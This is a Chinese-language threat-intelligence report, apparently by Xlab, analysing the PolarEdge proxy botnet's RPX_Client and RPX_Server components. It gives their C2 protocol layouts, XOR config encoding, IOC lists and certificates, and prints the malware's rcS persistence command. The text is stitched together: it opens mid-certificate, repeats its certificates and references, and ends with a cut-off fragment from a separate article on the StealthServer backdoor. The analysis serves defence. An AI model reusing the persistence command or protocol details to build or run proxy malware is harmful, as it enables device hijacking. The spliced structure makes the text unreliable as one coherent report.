MRswGQYDVQQDExJ3d3cubGVhcm5pbmdydGMuY24wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCAQKsFEj2H8QTVCEtAEjGp5kUAWHihsCbuMYhHdAxSKYfF
HldJGaRUpuQwxAte1k8b++C9rxKZRJJt05O85deMvdwF63yBG5DazGXKkwMluRrA
/KsZy3lPj3uinSO8sLFfoTcsk57wAXbZtVFgvmgxAXFlX7Vx9MNgYMdko+jAltCa
3CkmScqcPd/aOnjx4naz7k3Jl1AHY7jxIaRGLBd+aixOZw2CJdHjpYi++GRtVBIo
w5ki3WVm1lensHo3GWVjUP5rIbsttpbpja2V0Uy5es1Gcrmkp9e4BUTyopJkGqrA
F2uWZxZB8CcJkFceOUfCY3v5MWH311BwBaZ+GngBAgMBAAGjggKCMIICfjAfBgNV
HSMEGDAWgBRVdE+yck/1YLpQ0dfmUVyaAYca1zAdBgNVHQ4EFgQUGCuoNOqYS8DF
1dd4XIP/YilDUJEwLQYDVR0RBCYwJIISd3d3LmxlYXJuaW5ncnRjLmNugg5sZWFy
bmluZ3J0Yy5jbjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEG
CCsGAQUFBwMCMEwGA1UdIARFMEMwNwYJYIZIAYb9bAECMCowKAYIKwYBBQUHAgEW
HGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCAYGZ4EMAQIBMH0GCCsGAQUF
BwEBBHEwbzAhBggrBgEFBQcwAYYVaHR0cDovL29jc3AuZGNvY3NwLmNuMEoGCCsG
AQUFBzAChj5odHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRW5jcnlwdGlvbkV2
ZXJ5d2hlcmVEVlRMU0NBLUcxLmNydDAJBgNVHRMEAjAAMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFn
VArhKwAABAMARjBEAiBYzdYfv9uZCl7ItYugZ8rKwBdkl64L3Bo4hMyM2oLPdAIg
OOy3aJnqp31jGrtIG5u6hPfAWNkiBPfGQCEDeBsRhaYAdwCHdb/nWXz4jEOZX73z
bv9WjUdWNv9KtWDBtOr/XqCDDwAAAWdUCuH+AAAEAwBIMEYCIQD4eai+g9Dx4ZhW
h8+VDwRjrspTNycWeg0ehjf+p5NwBAIhAPQpUvUrdJp/KqLKz4TNnyJtU0ezPZdY
XGQVeYtwkDOQMA0GCSqGSIb3DQEBCwUAA4IBAQAZwr2CFBCmPw4H16UpsbEK4Wie
ldbsrBhRMX2bH47Sr2CQvAJLm2MODVDi7XtF1ZR1XmLQOiKsHNVXveDq5UJomWIn
NDkXxYPNMQzVB6WLxO9HZsM302CIrE4ds9PUWWZ8wVtyv6o/nqczu+uuyX0Vs0/J
dclkw7r3TntrPwgTj/3dCSBchdT33vdTGjnyc9Hz7gN0aU8Ksnzf7Vxm53lmk4t1
aHKYUDQtPle5MKNgg88fjCsrfMZAfpcR3GKfCSa3I4f4vhvsg2ap4fJsXKjHtOLN
8qfw7B8Qm5/PpsRzYHB+WEPkfwIKxR9gIifQEbNnSSCCl3GJVqH4c1HJcb1z
-----END CERTIFICATE-----


# e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5

-----BEGIN CERTIFICATE-----
MIICHzCCAaWgAwIBAgIBCTAKBggqhkjOPQQDAjA+MQswCQYDVQQGEwJOTDERMA8G
A1UEChMIUG9sYXJTU0wxHDAaBgNVBAMTE1BvbGFyc3NsIFRlc3QgRUMgQ0EwHhcN
MTMwOTI0MTU1MjA0WhcNMjMwOTIyMTU1MjA0WjA0MQswCQYDVQQGEwJOTDERMA8G
A1UEChMIUG9sYXJTU0wxEjAQBgNVBAMTCWxvY2FsaG9zdDBZMBMGByqGSM49AgEG
CCqGSM49AwEHA0IABDfMVtl2CR5acj7HWS3/IG7ufPkGkXTQrRS192giWWKSTuUA
2CMR/+ov0jRdXRa9iojCa3cNVc2KKg76Aci07f+jgZ0wgZowCQYDVR0TBAIwADAd
BgNVHQ4EFgQUUGGlj9QH2deCAQzlZX+MY0anE74wbgYDVR0jBGcwZYAUnW0gJEkB
PyvLeLUZvH4kydv7NnyhQqRAMD4xCzAJBgNVBAYTAk5MMREwDwYDVQQKEwhQb2xh
clNTTDEcMBoGA1UEAxMTUG9sYXJzc2wgVGVzdCBFQyBDQYIJAMFD4n5iQ8zoMAoG
CCqGSM49BAMCA2gAMGUCMQCaLFzXptui5WQN8LlO3ddh1hMxx6tzgLvT03MTVK2S
C12r0Lz3ri/moSEpNZWqPjkCMCE2f53GXcYLqyfyJR078c/xNSUU5+Xxl7VZ414V
fGa5kHvHARBPc8YAIVIqDvHH1Q==
-----END CERTIFICATE-----

Reference

Sekioa

https://blog.sekoia.io/polaredge-unveiling-an-uncovered-iot-botnet/
https://blog.sekoia.io/polaredge-backdoor-qnap-cve-2023-20118-analysis/

Censys

https://censys.com/blog/2025-state-of-the-internet-digging-into-residential-proxy-infrastructure

Mandiant

https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks

2025年5月30日，Xlab大网威胁感知系统监测到IP地址 111.119.223.196 正在传播一个名为“w”的ELF文件。AI检测模块将其标注为与PolarEdge相关，而该文件在VirusTotal上的检测结果为零。这一发现引发了PolarEdge是否已悄然启动新一轮活动的猜测。带着好奇，我们展开了深入调查。经过一系列关联分析，一个此前从未被公开记录的组件RPX_Client浮出水面。该组件的主要功能是将受控设备接入指定C2节点的代理池，为其提供代理服务，并支持远程命令执行。

PolarEdge由安全厂商Sekoia于2025年2月25日首次披露。该威胁利用存在漏洞的IoT，边缘网络设备，并结合购买的VPS，疑似构建一个“运营中继盒子”（Operational Relay Boxes, ORB）网络，用以协助实施各类网络犯罪活动。ORB网络在功能上类似住宅代理，它的核心目标并非直接实施破坏性攻击，而是致力于长期潜伏与流量混淆，属于典型的基础服务型恶意架构。

ORB网络在规避检测，隐藏网络攻击的来源，复杂化归因分析等方面的突出表现，让其倍受APT级攻击者的青睐，是2025年网络安全领域的热点之一。针对ORB网络的这一特性，安全厂商Mandiant甚至提出了 "ORB兴起，IOC消亡"的观点，认为ORB网络可能削弱传统威胁指标（IOC）在攻击检测与活动归因中的有效性。

2025年8，9月，资产测绘厂商Censys先后发布了两篇关于PolarEdge的研究报告，他们过证书关联重点分析了一大批基础设施。在9月23日的报告中，Censys披露了一个名为RPX_SERVER的服务端程序，核心功能是充当反向连接代理网关。但因被告知相关证书并非攻击者独有，Censys对于将这些设施以及RPX_Server与PolarEdge明确关联的信心有所下降。

Censys Note:

“本研究早期版本中重点介绍的证书存在于旧版本的 Mbed TLS 3.4.0 版本（以前称为 PolarSSL）中。此外，我们与“PolarEdge”恶意软件关联的 TLS 证书也源自同一个 Mbed TLS 存储库。这种新的背景降低了将我们分析的 RPX 服务器直接与 PolarEdge 联系起来的证据的可信度。“

然而，从Xlab的视角来看，我们有极高的信心将Censys原始报告中提及的部分使用PolarSSL测试证书的基础设施以及RPX_Server归因于PolarEdge。这一判断主要基于此次捕获的RPX_Client样本所带来的独特情报，具体依据如下：

1. 传播RPX_Client的脚本的编码风格，以及ELF样本w与已知的PolarEdge样本呈现出明显的同源特征。

2. RPX_Client与RPX_Server在功能上高度契合，正如其命名所示，二者构成了典型的客户端-服务器关系。

3. 在一个RPX_Server的数据库中发现了通过111.119.223.196传播RPX_Client的记录。

4. 部分使用PolarSSL测试证书的服务器能够正确处理RPX_Client的请求，这些服务器上部署了RPX_Server实例。

RPX_Server与RPX_Client的相继发现，使我们有机会更深入地探究PolarEdge背后的中继运行机制、基础设施。成果是喜人的，在运行机制层面，我们逐步摸清了PolarEdge如何借助RPX_Server、Go-Admin与Nginx实现节点管理与业务分发；在基础设施层面，目前已识别出140个C2服务器，并发现总计超过25000个感染节点IP。然而必须承认，任何单一厂商的监测视野都存在其局限性，对一项威胁的透彻解析往往离不开行业内的广泛协作。为更好地研究PolarEdge这一ORB网络，我们决定撰写本文向社区分享相关发现，希望Sekoia、Censes、Xlab的研究成果能够为后续对PolarEdge的深入探索奠定基础。

1: 基础设施 & 部分规模

RPX Server: 140个VPS节点

我们通过不同时间段的脚本q捕获了10个的RPX Server IP，它们都使用55555端口，该端口共享同一个公开的PolarSSL测试证书。

以证书+ 端口55555这一模式作为特征，通过奇安信网络空间测绘系统鹰图平台，我们初步识别出161个IP，再基于逆向工程所得的通信协议对这批资产进行了验证，确认其中140个IP为可正常交互的有效RPX Server。(注：目前，IP 8.219.214.27虽然无法正常交互，但通过与其他数据比对，我们确认该IP仍属于RPX服务器。）

这140个Server本身也呈现很有意思的特征，它们都是VPS节点，集中分布在ASN45102，ASN37963，ASN132203，隶属于阿里云和腾讯云。

通过逆向，我们也发现了API接口可将这些服务器代理池中的节点生成Clash(代理工具)配置文件供各类攻击者或某个特定活动使用。

RPX Client: 25000+ 被感染的IoT设备&路由器IP

通过技术手段，我们获取了部分RPX客户端数据集。数据涵盖IP、brand、createAt、onlineTime等字段，使我们能够从感染规模、地理分布及设备类型等多个维度，对PolarEdge RPX进行深入分析。

# RPX  Client Data Example
{
id: 4,
uuid: "6cee47cf79f94dc4bf2b867028fc{mask}",
ip: "12x.18x.18x.23x",
onlineTime: "2025-10-16T14:34:27+08:00",
antiConnTotal: "0",
antiConnNum: "0",
antiConnState: "1",
antiConnTime: "0001-01-01T00:00:00Z",
brand: "ktcctv_1",
version: "0.0.13",
heartbeat_time: "60",
no_response_num: "1",
...
...
createdAt: "2025-10-16T14:34:13+08:00",
updatedAt: "2025-10-20T13:08:04+08:00",
createBy: 0,
updateBy: 0
}

统计数据显示，自2024年7月以来，已累计感染超过25,000个IP，且感染规模呈现持续上升趋势。

感染设备分布在40个国家地区，主要集中在东南亚以及北美。

排名前十的国家分别为：韩国41.97%，中国20.35%，泰国8.37%，马来西亚5.98%，印度3.79，以色列3.73%，美国3.69%，越南2.56%，印度尼西亚2.12%，俄罗斯1.19%。

RXP Client 在向 Server 上报信息时，通过 brand 字段来标识设备的分组或类型，ktcctv和tvt是主要被感染设备，占比超过90%。

以下为分组字串与真实设备的对应。

2: 时间线 & 关联分析

捕获新脚本的时间线

• 2025年4月27日，我们监测到攻击者利用 CVE-2023-20118 通过111.119.223.196传播一个名为s的脚本，遗憾的是，当时由于网络故障这一脚本并没有被捕获。

• 2025年5月30日，IP 111.119.223.196传播一个名为 w 的ELF文件，其下载链接为 111.119.223.196:51715/w。经查，该文件早在2023年12月25日就曾由IP 82.118.22.155传播。通过分析IP 82的历史活动，我们发现一个清晰的传播链条：脚本a → w → 脚本q。

这给了我们启发：当前的IP 111可能也存在相同的链条。于是，我们展开了主动狩猎，将 111.119.223.196:51715/q 这一地址纳入了Xlab的Payload监控系统。

• 2025年6月2日，成功捕获了脚本q，它为我们带来了本文的研究主角——rpx_client。值得一提的是，根据Payload监控系统的记录，IP 111并未持续提供下载服务，脚本q仅处于间歇性的可下载状态。

归属于PolarEdge的原因

• 82.118.22.155的角色

VT数据显示，IP地址 82.118.22.155 曾在2023年12月传播过一个Shell脚本a及一个ELF格式的可执行文件w，表明其很可能是一个Downloader服务器。PDNS记录进一步显示，域名 beastdositadvtofm[.]site 在同一时期曾解析至该IP。此外，该域名与Sekoia披露的C2域名 icecreand[.]cc 和 centrequ[.]cc 的CNAME记录均指向同一主机：jurgencindy.asuscomm.com。基于上述强关联，我们有信心将该域名与IP归因于PolarEdge基础设施。

最近我们在整理PolarEdge样本时又发现石锤性的证据，该域名和IP均出现在PolarEdge后门样本 3e5e99b77012206d4d4469e84c767e6b解密后的C2配置中，所以82.118.22.155至少在2023年12期间是PolarEdge的基础设施，传播的样本a, w极有可能用于下载PolarEdge后门。样本a，w是PolarEdge背后的团伙开发，它们本身体现出的特征能够作为归因判断的依据。

• ELF样本相似性

样本 w 新增了两个未加密的 Section：xxxx 与 cccc。相比之下，已知的 Polaredge 样本则拥有两个经过加密的 Section：init_text 和 init_rodata。尽管存在加密与否的差异，但新增区段这一行为本身，已体现出两者在设计理念上的一致性。

更重要的是，w所支持的参数字符串以及与HTTP协议相关的字段（如Host、User-Agent等）具有非常独特的特征，与PolarEdge后门样本存在明显同源关系。我们认为，w实际上是从PolarEdge后门核心代码中剥离出的Connect-back模块，其专门职能是下载后续有效载荷。这一点从w唯一支持的"curk"模式中得到了进一步印证——该名称很可能是"curl"的拼写错误（或是某种刻意致敬），这也从侧面佐证了其专门做为“下载工具”的功能定位。

• 脚本相似性
  111.119.223.196和82.118.22.155不仅共同一个w，它们传播的脚本也高度相似，风格几乎一模一样。

综上所述，我们确认IP地址111.119.223.196是PolarEdge的资产。此次活动通过脚本q和w传播的新样本RPX_Client归属于PolarEdge，它是该威胁首次发现的的中继组件。

3: 技术分析

脚本q的功能

我们一共捕获了11个不同hash值的脚本q，由于它们有使用混淆技术，因此分析上并没有难度。它们的功能几乎一模一样，核心目的为下载执行rpx组件，只是供rpx回连的C2有所差异。

• 下载wget.tar

使用w下载wget.tar，注意w的参数，其中m表示模式，h是远程主机，e是端口，f是本地路径，q是远程路径。

wget.tar 压缩包内包含两个文件：rpx 和 rpx.sh。其中，rpx 是本文的分析核心，即 rpx_client；而 rpx.sh 则是一个用于持久化的脚本。通过执行 echo "/bin/sh /mnt/mtd/rpx.sh &" >> /etc/init.d/rcS 命令，将 rpx.sh 注入到 rcS 初始化脚本中，从而实现了持久化驻留。

• 启动rpx核心组件

rpx将被侵入设备加入到ORB网络，它的第一个参数为控制节点的ip，第2个参数为端口，第3个参数为brand，可能理解成分组。我们在了11个q脚本中一共收集了10个的控制节点IP，使用的端口都是55555。

剖析RPX系统

• RPX服务器节点

RPX服务器节点通常运行四个核心服务：RPX_Server、Nginx、Go-Admin与Go-Shadowsocks。在这些服务中，RPX_Server与二次开发的Go-Admin是PolarEdge的关键组件——RPX_Server作为工作节点（worker），负责实际对外提供代理服务；Go-Admin则作为管理节点（administrator），承担节点注册、会话验证、指令分发以及导出Clash配置供第三方使用等任务。Nginx采用反向代理模式，将19999端口的流量转发至Go-Admin服务，而Go-Shadowsocks则专门提供Shadowsocks代理服务。

这些服务的运行使服务器节点呈现出以下网络特征：

1. Nginx(端口19999): 使用固定的自签名证书，其指纹为：
   3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999

2. RPX_Server(端口55555、55557和55558): 使用固定的自签名证书，其指纹为：
   e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5

3. Go-Admin(端口 55560): 尽管该服务使用动态生成的自签名证书，但其证书中存在一个恒定不变的特征：颁发者与所有者字段均被设置为空值(O = null, CN = null)，序列号为123456。

• RPX Server

简而言之，RPX Server 是一种反向连接代理网关，核心机制在于：它本身不会直接连接到目标地址，而是调度已注册的代理节点去连接目标，并让代理节点反向连接回网关分配的一个临时端口，最终在此端口上完成客户端与目标之间流量的透明桥接。

以下通过实际测试说明其这一机制：我们在日本测试主机 45.x.x.8 上运行 RPX_Client，将其注册至 RPX Server 节点 8.216.14.9。随后在本地运行 go-shadowsocks 客户端连接至该控制节点，并通过 ipinfo.io 查看出口 IP。

尽管 go-shadowsocks 的日志显示连接路径为本地 proxy ←→ RPX Server ←→ ipinfo.io，但通过 curl --socks5 返回的实际 IP 地址可知，真实的完整路径为：本地 proxy ←→ RPX Server ←→ RPX Client (45.x.x.8) ←→ ipinfo.io。 在实际攻击的场景中，这种多跳能够很好的隐藏攻击源。

Server运行时接收两个参数：第一个是用于与 RPX_Client 交互的端口；第二个是代理服务的基础端口，基于它开启三种代理服务：SOCKS5（参数二）、SOCKS5 over TLS（参数二+1） 和 Trojan（参数二+2）。目前实际观测到的参数值分别为 55555 与 55556。关于 RPX Server 的实现细节，Censys 已有文章进行深入分析，本文不再重复，有兴趣的读者可进一步查阅其报告。

• RPX Client

我们一共捕获了4个的RPX Client样本，其中3个来自IP地址111.119.223.196，另外1个来自VirusTotal。来自该IP的样本均为ARM架构，而VirusTotal提供的样本为MIPS架构，这表明RPX在野还存在其他传播渠道。这4个样本的版本号均为0.0.13，根据现有统计数据，该版本是目前的主要流行版本。

在4个样本中，7fa5fb15098efdf76e4c016e2e17bb38 比较特别，因为它在运行时会在控制台打印出调试信息。我们以它为主要分析对象，其基本信息如下：

MD5: 7fa5fb15098efdf76e4c016e2e17bb38
MAGIC: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
PACKER: None

RPX_CLIENT在PolarEdge网络中充当jumpserver的角色，这一点可从样本中暴露的源码文件名，运行时的日志得到验证。

它的功能设计较为简明，在侵入目标设备后，该程序首先将自身进程名称伪装为 connect_server，同时通过 PID 文件 /tmp/.msc 实现单实例运行，避免重复启动。随后，它会尝试读取全局配置文件 .fccq，从中获取 C2 服务器地址、通信端口、设备 UUID 及品牌信息等关键参数。若配置文件不存在，则会将运行时传入的参数加密保存至 .fccq 文件中以供后续使用。

完成配置初始化后，RPX_Client会与C2服务器建立两个独立的网络连接，以执行不同任务：一个连接至PORT参数指定的端口，该端口由RPX_SERVER服务监听，专门负责节点注册，流量代理；另一个则连接至固定端口55560，该端口由go-admin服务监听，专门用于执行远程命令。

• 解密配置文件

RPX_CLIENT首次运行时，会将参数加密保存在同目录的.fccq文件中，加密方式为单字节异或0x25。实际产生的配置文件为例，解密后的内容分别为UUID，C2，PORT，BRAND，version。

• 端口：参数1(当前在野均使用55555)

RPX_CLENT首次加入到网络中时，首先需要获得由服务器生成的uuid做为身份标识，网络交互逻辑如下：

1. Bot -> C2，33字节，结构为flag(1byte) + uuid(32 bytes)
2. Bot -> C2，32字节，结构为brand(16 bytes) + version(16 bytes)
3. C2 -> Bot，33字节，结构为flag(1 byte) + uuid(32 bytes)

当C2向Bot回包中的flag值为0x01时，表示收到uuid，bot将此uuid保存到配置文件中供后续使用。

随后继续接收C2下发的指令，准备提供代理服务。以下为指令的对应的结构体，实际使用时destation的长度由dest_length字段指定。

struct Protocal
{
  uint16_t magic;
  uint16_t port;
  uint16_t dst_port;
  uint16_t dest_length;
  char destination[256];
};

Magic字段指定了Bot的功能，它的值可以为0x11,0x12,0x16。我们在Xlab指令跟踪系统中实现了对该协议的模拟，从统计数据来看，暂时并没有特别的目标，流量大多为对qq,wechat,google,cloudflare的访问。

• 端口：55560

RPX_CLIENT连接到服务器的55560端口，发送uuid表明身份，接收需要执行的远程命令，网络交互逻辑如下：

1. Bot -> C2，11字节，固定为“xa2axasexqx”

2. Bot -> C2，32字节，uuid

3. C2 -> Bot，4字节，命令报文长度

4. C2 -> Bot，命令报文，具体命令由"cmd"字段指定

除系统命令外，该样本还内置了两项特殊指令：change_pub_ip 与 update_vps，分别用于更换C2服务器地址及完成样本自我升级。基于UUID的身份识别机制，结合远程命令执行能力，PolarEdge背后的攻击者能够对代理节点进行高度精细的控制与灵活调度——既可随时指派节点执行其他任务或切换职能，也可在某一C2地址暴露时，迅速将代理池中节点迁移至新地址。

尽管当前我们的指令跟踪系统仅捕获到如echo hello一类用于维持心跳的简单指令，但在所掌握的RPX服务器日志中，明确存在change_pub_ip命令的实际执行记录。

另外，服务器日志中还有与111.119.223.196相关的命令，显示它不仅充当了下载服务器，还作为反弹Shell的接收端，直接实锤了该IP是PolarEdge资产，也验证了我们在文章开头对该IP的研判。

4: 总结

至此，我们对RPX系统的分析暂告一段落，以上是目前所掌握的主要发现。RPX_Client让我们得以一窥PolarEdge的中继机制；而RPX_Server与Go-ADMIN则首次揭示出这一威胁体背后的管理工具与基础设施。在这种架构下，由海量受侵IoT设备构成的代理节点，与由廉价VPS搭建的服务器节点遥相呼应，如同两道坚固的壁垒，为攻击者提供了有效的掩护，极大地增加了安全人员的追踪难度。

由于视野有限，PolarEdge威胁版图中后门样本与RPX系统之间的具体关联与互动方式，目前仍是未解之谜。我们诚挚欢迎掌握更多相关信息的业界同仁不吝分享，共同推进对这类威胁的认知与防御能力。

如果您对我们的研究感兴趣，或了解与PolarEdge相关的线索，欢迎通过X平台与我们联系。

IOC

PolarEdge RPX C2

# From q script

47[.79.7.193	United States|Virginia|Ashburn	AS45102|Alibaba Cloud
47[.236.38.206	United States|None|None	AS45102|Alibaba Cloud
47[.236.230.216	United States|None|None	AS45102|Alibaba Cloud
47[.237.26.232	United States|None|None	AS45102|Alibaba Cloud
47[.237.70.132	United States|None|None	AS45102|Alibaba Cloud
47[.76.214.52	China|Hongkong|Hongkong	AS45102|Alibaba Cloud
43[.128.226.160	Japan|Tokyo|Tokyo	AS132203|Tencent
129[.226.216.242	Singapore|Singapore|Singapore	AS132203|Tencent
8[.211.172.183	Japan|Tokyo|Tokyo	AS45102|Alibaba Cloud
159[.138.90.5	Singapore|Singapore|Singapore	AS136907|HUAWEI

# From Hunter

8[.219.214.27	AS45102 Alibaba (US) Technology Co., Ltd.
8[.153.163.19	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.153.205.139	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.153.207.128	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.129.39	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.130.12	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.135.220	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.136.155	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.139.71	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.216.14.9	AS45102 Alibaba (US) Technology Co., Ltd.

PolarEdge Backdoor C2

beastdositadvtofm[.site
missionim[.cc
icecreand[.cc 
centrequ[.cc

Downloader

82[.118.22.155	Poland|Pomorskie|Gdansk	AS204957|GREEN FLOID LLC
111[.119.223.196	Singapore|Singapore|Singapore	AS136907 HUAWEI CLOUDS|

RPX Sample

# Script q
96b3be4cf3ad232ca456f343f468da0e

# RPX Server
1fb2dfb09a31f0e8c63cc83283532f06

# RPX Client
7fa5fb15098efdf76e4c016e2e17bb38
571088182ed7e33d986b3aa2c51efd27

Certificates

# 3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999

-----BEGIN CERTIFICATE-----
MIIFmTCCBIGgAwIBAgIQA/0Ssnj2KNvPpAAwE8RHPTANBgkqhkiG9w0BAQsFADBu
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMS0wKwYDVQQDEyRFbmNyeXB0aW9uIEV2ZXJ5d2hlcmUg
RFYgVExTIENBIC0gRzEwHhcNMTgxMTI3MDAwMDAwWhcNMTkxMTI3MTIwMDAwWjAd
MRswGQYDVQQDExJ3d3cubGVhcm5pbmdydGMuY24wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCAQKsFEj2H8QTVCEtAEjGp5kUAWHihsCbuMYhHdAxSKYfF
HldJGaRUpuQwxAte1k8b++C9rxKZRJJt05O85deMvdwF63yBG5DazGXKkwMluRrA
/KsZy3lPj3uinSO8sLFfoTcsk57wAXbZtVFgvmgxAXFlX7Vx9MNgYMdko+jAltCa
3CkmScqcPd/aOnjx4naz7k3Jl1AHY7jxIaRGLBd+aixOZw2CJdHjpYi++GRtVBIo
w5ki3WVm1lensHo3GWVjUP5rIbsttpbpja2V0Uy5es1Gcrmkp9e4BUTyopJkGqrA
F2uWZxZB8CcJkFceOUfCY3v5MWH311BwBaZ+GngBAgMBAAGjggKCMIICfjAfBgNV
HSMEGDAWgBRVdE+yck/1YLpQ0dfmUVyaAYca1zAdBgNVHQ4EFgQUGCuoNOqYS8DF
1dd4XIP/YilDUJEwLQYDVR0RBCYwJIISd3d3LmxlYXJuaW5ncnRjLmNugg5sZWFy
bmluZ3J0Yy5jbjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEG
CCsGAQUFBwMCMEwGA1UdIARFMEMwNwYJYIZIAYb9bAECMCowKAYIKwYBBQUHAgEW
HGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCAYGZ4EMAQIBMH0GCCsGAQUF
BwEBBHEwbzAhBggrBgEFBQcwAYYVaHR0cDovL29jc3AuZGNvY3NwLmNuMEoGCCsG
AQUFBzAChj5odHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRW5jcnlwdGlvbkV2
ZXJ5d2hlcmVEVlRMU0NBLUcxLmNydDAJBgNVHRMEAjAAMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFn
VArhKwAABAMARjBEAiBYzdYfv9uZCl7ItYugZ8rKwBdkl64L3Bo4hMyM2oLPdAIg
OOy3aJnqp31jGrtIG5u6hPfAWNkiBPfGQCEDeBsRhaYAdwCHdb/nWXz4jEOZX73z
bv9WjUdWNv9KtWDBtOr/XqCDDwAAAWdUCuH+AAAEAwBIMEYCIQD4eai+g9Dx4ZhW
h8+VDwRjrspTNycWeg0ehjf+p5NwBAIhAPQpUvUrdJp/KqLKz4TNnyJtU0ezPZdY
XGQVeYtwkDOQMA0GCSqGSIb3DQEBCwUAA4IBAQAZwr2CFBCmPw4H16UpsbEK4Wie
ldbsrBhRMX2bH47Sr2CQvAJLm2MODVDi7XtF1ZR1XmLQOiKsHNVXveDq5UJomWIn
NDkXxYPNMQzVB6WLxO9HZsM302CIrE4ds9PUWWZ8wVtyv6o/nqczu+uuyX0Vs0/J
dclkw7r3TntrPwgTj/3dCSBchdT33vdTGjnyc9Hz7gN0aU8Ksnzf7Vxm53lmk4t1
aHKYUDQtPle5MKNgg88fjCsrfMZAfpcR3GKfCSa3I4f4vhvsg2ap4fJsXKjHtOLN
8qfw7B8Qm5/PpsRzYHB+WEPkfwIKxR9gIifQEbNnSSCCl3GJVqH4c1HJcb1z
-----END CERTIFICATE-----


# e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5

-----BEGIN CERTIFICATE-----
MIICHzCCAaWgAwIBAgIBCTAKBggqhkjOPQQDAjA+MQswCQYDVQQGEwJOTDERMA8G
A1UEChMIUG9sYXJTU0wxHDAaBgNVBAMTE1BvbGFyc3NsIFRlc3QgRUMgQ0EwHhcN
MTMwOTI0MTU1MjA0WhcNMjMwOTIyMTU1MjA0WjA0MQswCQYDVQQGEwJOTDERMA8G
A1UEChMIUG9sYXJTU0wxEjAQBgNVBAMTCWxvY2FsaG9zdDBZMBMGByqGSM49AgEG
CCqGSM49AwEHA0IABDfMVtl2CR5acj7HWS3/IG7ufPkGkXTQrRS192giWWKSTuUA
2CMR/+ov0jRdXRa9iojCa3cNVc2KKg76Aci07f+jgZ0wgZowCQYDVR0TBAIwADAd
BgNVHQ4EFgQUUGGlj9QH2deCAQzlZX+MY0anE74wbgYDVR0jBGcwZYAUnW0gJEkB
PyvLeLUZvH4kydv7NnyhQqRAMD4xCzAJBgNVBAYTAk5MMREwDwYDVQQKEwhQb2xh
clNTTDEcMBoGA1UEAxMTUG9sYXJzc2wgVGVzdCBFQyBDQYIJAMFD4n5iQ8zoMAoG
CCqGSM49BAMCA2gAMGUCMQCaLFzXptui5WQN8LlO3ddh1hMxx6tzgLvT03MTVK2S
C12r0Lz3ri/moSEpNZWqPjkCMCE2f53GXcYLqyfyJR078c/xNSUU5+Xxl7VZ414V
fGa5kHvHARBPc8YAIVIqDvHH1Q==
-----END CERTIFICATE-----

参考

Sekioa

https://blog.sekoia.io/polaredge-unveiling-an-uncovered-iot-botnet/
https://blog.sekoia.io/polaredge-backdoor-qnap-cve-2023-20118-analysis/

Censys

https://censys.com/blog/2025-state-of-the-internet-digging-into-residential-proxy-infrastructure

Mandiant

https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks

经过分析，这是一款名为 “StealthServer” 的后门，核心功能使用 Golang 编写，支持 Windows 和 Linux 双平台，包括多个迭代版本。“StealthServer”这个名字来源于最初发现的 Linux 样本，其通信服务器在收到客户端上线之后会响应一条确认信息{"service":"stealth-server","status":"ok"}。在之后发现的一个 Windows 变种中还发现了大量类似 “ULTRA-” 的字样，表明开发者曾想将 Windows 版本命名为 “ULTRA-CLIENT”，但在后续的 Windows 变种里去掉了这一特征，因此这里将两个平台的样本统一称为 “StealthServer”。

功能方面，StealthServer 实现了两个核心功能：一是窃取受害者主机上的文件，二是执行 C2 下发的任意命令。协议方面，StealthServer 积极尝试切换不同的协议进行通信：目前识别了三个 Windows 变种，前两个变种通过 TCP Socket 通信，第三个变种切换为 WebSocket 协议；Linux 样本中则发现了两个变种，分别使用 HTTP 和 WebSocket 协议。

除此之外，StealthServer 最显著的特点是通过插入大量垃圾代码和垃圾函数来干扰分析人员，显著拖慢逆向工程的进度，某些变种还试图通过循环访问“google.com”、“microsoft.com”等类似的白名单域名来干扰流量分析。

通过我们的测绘系统搜索今年六月初以来 Web.Title="*Stealth Server*" 的资产，能发现一些存活的后台登录地址，如下图中站点标题为 “Stealth Server - Login” 的条目所示。由于 StealthServer 的 C2 存活时间一般较短，并无太多指令跟踪或感染方面的视野，因此本文重点放在样本分析部分，一些早期针对部分变种的分析线索也可以作为参考。

后台登录界面如下。

关联分析

基于以下几点线索，推测该后门可能与 APT36 存在一些关联。

1）样本行为特征符合该组织的历史样本特征：比如使用 .desktop 分发二进制 ELF 文件，这些 .desktop 文件通常伪装为 PDF 快捷方式，文件名以及打开的 PDF 文件内容多与政治、采购、会议等话题有关且多与南亚某国相关，PDF 文件的 URL 一般以 Google Drive 链接的形式存在。

